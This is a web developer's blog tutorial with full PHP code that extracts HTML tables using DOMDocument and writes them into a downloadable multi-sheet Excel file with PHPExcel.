Here, I’m going to extract all visible tables within the HTML file, then use that data to create an Excel file containing two seperate sheets.

The effect of this will be that the script will locate all table data within a page, and convert it into an Excel file, with one sheet per table

Neat, huh?

Generated Excel from PHPExcel output

The result of running PHPExcel on a chunk of HTML

I’m also going to be making use of the PHP class DomDocument to extract the required data from my HTML file as I did before with HTML to Word

In the following chunk of code, I do the following:

  • First, grab the required data from my sample HTML file
  • Then I extract the data I want from the <table> element within the HTML file, looping through the rows contained in <tbody>, and grabbing the column headers from the <thead> element.
  • Next, I loop through the data generated in the previous step, and insert this into my PHPExcel object, which will build up the structure of the Excel file
  • Finally, I output the generated Excel file to the user’s browser.

PHPExcel offers a range of additional methods and options to control styling, formatting and much more. Take a look through the class documentation and the samples within the vendor/phpoffice/phpexcel/Examples directory to find out more.

Generate & Download HTML » Excel

Here’s the code in full:

require_once('vendor/autoload.php');

// Pull in the HTML contents, and convert to XML
$data = file_get_contents('sample.html');

try {

    $dom = new DOMDocument();
    $dom->loadHTML( $data );

    // Get all tables in the document
    $tables = $dom->getElementsByTagName('table');

    // The array I'll store the table data in
    $tableData = array();

    foreach($tables as $tableN => $table) {
        // This requires properly formatted HTML table structure
        $head = $table->getElementsByTagName('thead')[0];
        $body = $table->getElementsByTagName('tbody')[0];

        // Table heading - assuming there is a heading directly before the table
        $tableData[] = array(
            'heading' => 'Table '.($tableN+1),
            'tableData' => array()
        );

        if($head && $body) {

            foreach($head->getElementsByTagName('tr')[0]->getElementsByTagName('th') as $colN => $headCell) {
                $tableData[$tableN]['tableData']['headings'][] = $headCell->nodeValue;
            }

            foreach($body->getElementsByTagName('tr') as $rowN => $tableRow) {
                foreach($tableRow->getElementsByTagName('td') as $colN => $tableCell) {
                    $tableData[$tableN]['tableData']['rows'][$rowN][$colN] = $tableCell->nodeValue;
                }
            }

        }

    }

} catch(Exception $e) {
    // I failed...
    exit;
}

// Instantiate the PHPExcel object
$objPHPExcel = new PHPExcel();

$objPHPExcel->getProperties()->setCreator("Robin Metcalfe")
                             ->setLastModifiedBy("Robin Metcalfe")
                             ->setTitle("HTML Tables To Excel Test")
                             ->setSubject("Solarise Design")
                             ->setDescription("A test document for converting HTML tables into Excel.")
                             ->setKeywords("office PHPExcel php")
                             ->setCategory("Test result file");

$alphabet = range('A', 'Z');

foreach($tableData as $tableN => $data) {

    if($tableN > 0) {
        $objPHPExcel->createSheet($tableN);
    }

    $sheet = $objPHPExcel->setActiveSheetIndex($tableN);
    $objPHPExcel->getActiveSheet()->setTitle($data['heading']);

    foreach($data['tableData']['headings'] as $n => $heading) {
        $sheet->setCellValue("{$alphabet[$n]}1", $heading);
    }

    foreach($data['tableData']['rows'] as $rowN => $rowData) {
        foreach($rowData as $colN => $value) {
            $n = $rowN + 2;
            $sheet->setCellValue("{$alphabet[$colN]}{$n}", $value);
        }       

    }

}

// Resize columns to fit data, just to tidy things up
foreach(range('A','Z') as $columnID) {
    $objPHPExcel
        ->getActiveSheet()
        ->getColumnDimension($columnID)
        ->setAutoSize(true);
}

header('Content-Type: application/vnd.ms-excel');
header('Content-Disposition: attachment;filename="html-to-excel.xls"');
header('Cache-Control: max-age=0');
// If you're serving to IE 9, then the following may be needed
header('Cache-Control: max-age=1');

// If you're serving to IE over SSL, then the following may be needed
header ('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past
header ('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); // always modified
header ('Cache-Control: cache, must-revalidate'); // HTTP/1.1
header ('Pragma: public'); // HTTP/1.0

$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');
$objWriter->save('php://output');

Download Source Code

To get a copy of all files used within this article, download them here.

Once downloaded, you’ll need to run composer install to setup all the dependencies.

Robin Metcalfe is a web developer specialising in WordPress development, Javascript and custom coding. He enjoys coffee, more coffee and music. Get in touch with any enquiries.

Join the discussion…

Понравилась статья? Поделить с друзьями:
  • Word and excel for macbook
  • Word and excel for linux
  • Word and excel for iphone
  • Word and excel for ios
  • Word and excel files will not open